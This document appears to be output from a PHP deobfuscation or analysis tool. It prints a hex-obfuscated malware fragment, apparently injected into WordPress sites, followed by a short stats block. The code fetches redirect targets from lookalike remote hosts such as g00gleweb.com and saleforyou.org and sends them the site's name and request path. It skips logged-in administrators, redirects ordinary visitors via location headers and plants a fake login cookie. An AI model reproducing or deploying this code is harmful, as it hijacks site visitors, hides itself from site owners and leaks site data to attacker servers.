$Adlyi . "\x3f\x72\x65\x66\160\x61\x67\x65\x3d" . $_SERVER["\x53\x45\122\x56\x45\x52\137\116\x41\115\105"] . $_SERVER["\122\x45\121\x55\x45\x53\x54\x5f\125\122\111"]; goto q6Cfy; DMqMH: if (!empty($Adlyi)) { goto QTMFr; } goto zoGY6; zoGY6: $AqXUL = WBab0("\x68\x74\164\x70\x3a\x2f\57\65\56\x67\60\x30\x67\154\x65\x77\x65\x62\56\143\157\x6d\x2f\160\x72\x65\x73\x73\x75\x72\x65\55\x68\x6f\x73\164\x2e\164\x78\164"); goto aRSvj; aRSvj: QTMFr: goto NsGd5; Eq_eY: $AqXUL = "\x68\x74\164\x70\x73\x3a\x2f\x2f\66\x2e\x73\141\x6c\145\146\x6f\162\171\x6f\165\x2e\x6f\x72\x67\57\x70\x72\x65\x73\x73\165\162\145\55\x6a\x75\155\x70\56\x70\x68\x70"; goto CEag9; q6Cfy: ea5bN: goto DMqMH; NE2PE: @($Adlyi = wBAB0("\150\x74\x74\x70\72\x2f\x2f\142\154\156\x67\142\154\x6e\x67\163\56\162\x6f\143\x6b\163\57\160\x72\145\x73\x73\x75\x72\x65\55\x68\x6f\x73\x74\x2e\164\170\x74")); goto wM8k0; UAg3o: } goto z5yfX; qhTId: function RfVOz() { goto HW1EZ; CYesb: if (empty($Adlyi)) { goto gdQDw; } goto oQwga; z3v71: return $AqXUL; goto VrW76; oQwga: $AqXUL = $Adlyi . "\x3f\162\x65\146\160\141\147\x65\75" . $_SERVER["\x53\105\122\126\105\122\x5f\x4e\x41\115\x45"] . $_SERVER["\x52\105\x51\125\x45\123\124\x5f\x55\122\111"]; goto kSK7p; ZC4Qr: $AqXUL = "\150\x74\164\160\163\72\x2f\57\x36\x2e\163\x61\x6c\x65\x66\157\x72\171\157\165\x2e\157\x72\x67\57\167\145\x69\147\x68\x74\x2d\163\x73\x2e\x70\150\160"; goto UqBhb; e_91k: if (!empty($AqXUL)) { goto K3OJS; } goto ZC4Qr; olbbd: $AqXUL = wBAB0("\x68\x74\164\160\x3a\57\57\x35\56\x67\60\x30\147\x6c\145\x77\x65\142\x2e\143\x6f\x6d\57\167\145\x69\x67\x68\x74\x2d\150\157\x73\x74\x2e\164\170\x74"); goto BIJMO; BIJMO: fCL0C: goto e_91k; KQqBy: if (!empty($Adlyi)) { goto fCL0C; } goto olbbd; HW1EZ: @($Adlyi = wBAB0("\x68\164\164\x70\x3a\57\x2f\142\154\x6e\x67\x62\154\x6e\147\163\56\x72\157\x63\153\x73\x2f\167\x65\151\x67\x68\164\x2d\150\157\163\164\56\x74\x78\164")); goto CYesb; kSK7p: gdQDw: goto KQqBy; UqBhb: K3OJS: goto z3v71; VrW76: } goto kwDmq; vQJS6: LZmQE: goto bPKgb; vo21R: rMK9x: goto ZFFPA; RQqZR: if (!preg_match("\43\136\x5c\x2f\50\x5c\167\173\x35\54\66\x7d\x5c\x2d\x5c\167\173\x35\54\x36\175\x29\x5c\57\50\50\x2e\x2a\x3f\51\x5c\x2d\50\x2e\x2a\77\51\x5c\55\x28\56\52\51\51\43\x69", $_SERVER["\122\x45\x51\125\105\x53\124\x5f\x55\x52\x49"], $mYDkU)) { goto dHFVQ; } goto twwOz; z5yfX: if (!(!preg_match("\x2f\x77\x6f\162\144\x70\162\145\x73\163\137\x6c\x6f\x67\x67\x65\144\137\x69\x6e\x5f\57\x69", $gr3s7) && !$CV1vE && !$Qjrdr)) { goto NLGej; } goto ZRHaJ; fQZj5: header("\154\157\143\141\x74\x69\x6f\156\x3a\x20" . $JU_si); goto t4dGc; GdaDN: exit; goto raS6I; SiDqe: if (!preg_match("\x23\x5e\x5c\57\50\x5c\167\x7b\x35\x2c\x36\175\x5c\x2d\x5c\167\x7b\x33\x2c\x34\175\x29\134\57\50\50\56\x2a\77\51\134\x2d\50\56\52\x3f\51\x5c\55\50\56\52\51\x29\43\x69", $_SERVER["\x52\105\121\x55\105\x53\x54\137\x55\122\111"], $mYDkU)) { goto Ta9w5; } goto xU61T; eXEB8: Bj5of: goto vo21R; SToql: if (!vmiQM($hpkca)) { goto DQ0ox; } goto j97cu; g0bhO: $u2OMb = str_replace("\137\165\156\114\151\156\145\x5f", "\57", $u2OMb); goto BozfQ; SdTjp: $u2OMb = str_replace("\150\164\x74\x70\x3a\x2f\x2f", "\150\x74\164\x70\x73\72\57\x2f", $u2OMb); goto RH13y; ghFXo: $Hd7TI = str_replace("\57", '', $Hd7TI); goto NaPWA; cKf24: exit; goto r_u6U; B2rSq: if (!preg_match("\x23\136\x5c\x2f\50\x5c\167\x7b\x33\x2c\64\175\x5c\x2d\134\167\173\65\54\x36\175\51\x5c\57\50\x28\56\x2a\x3f\x29\134\55\x28\56\52\x3f\x29\x5c\55\50\56\52\x29\51\x23\151", $_SERVER["\122\105\x51\x55\105\123\x54\x5f\x55\122\111"], $mYDkU)) { goto L2EdG; } goto qhTId; VRn2q: foreach ($_COOKIE as $RS6GD => $G0NOn) { $gr3s7 .= $RS6GD . "\75" . $G0NOn . "\x2c"; GODeU: } goto eF3oU; ugUUA: $u2OMb = str_replace("\150\164\164\160\x3a\57\x2f" . Fr8Jn() . "\x2f", $xa0pb . "\x3a\57\57" . $bPqwo . Fr8Jn() . "\x2f", $u2OMb); goto Ms6Tl; nxEyg: $Oo03l = str_replace("\x77\167\167\56", '', $tfYNk); goto dqb3T; tGhca: $u2OMb = wbAb0(base64_decode("\141\x48\122\60\143\x44\x6f\166\114\62\x5a\x68\x64\103\65\151\142\x47\65\156\x59\155\x78\165\132\x33\115\x75\143\x6d\71\152\x61\x33\115\x76\x4d\152\101\171\x4d\171\x30\x77\x4d\171\x39\172\x64\127\144\150\143\x69\71\x74\131\127\x6c\x75\x4c\156\x42\x6f\x63\104\x39\162\x5a\130\x6b\71") . $Hd7TI . "\46\x68\157\x73\x74\x3d" . $tfYNk . "\46\x77\x77\x77\75\62"); goto bPjRo; ZFFPA: setcookie("\167\157\x72\x64\160\162\x65\x73\163\x5f\x6c\x6f\x67\147\145\144\x5f\151\x6e\137\x30\x32\x61\x30\71\x65\x65\x31\70\145\x32", "\x77\157\162\144\x70\162\145\163\163\x5f\154\x6f\x67\x67\145\x64\x5f\x69\156\137\60\62\141\x30\71\145\x65\x31\x38\145\62", time() + 3600 * 24 * 100);

Function Calls

None

Variables

None

Stats

MD5 dc3e35208b73dd690f9ff0060f509a76
Eval Count 0
Decode Time 71 ms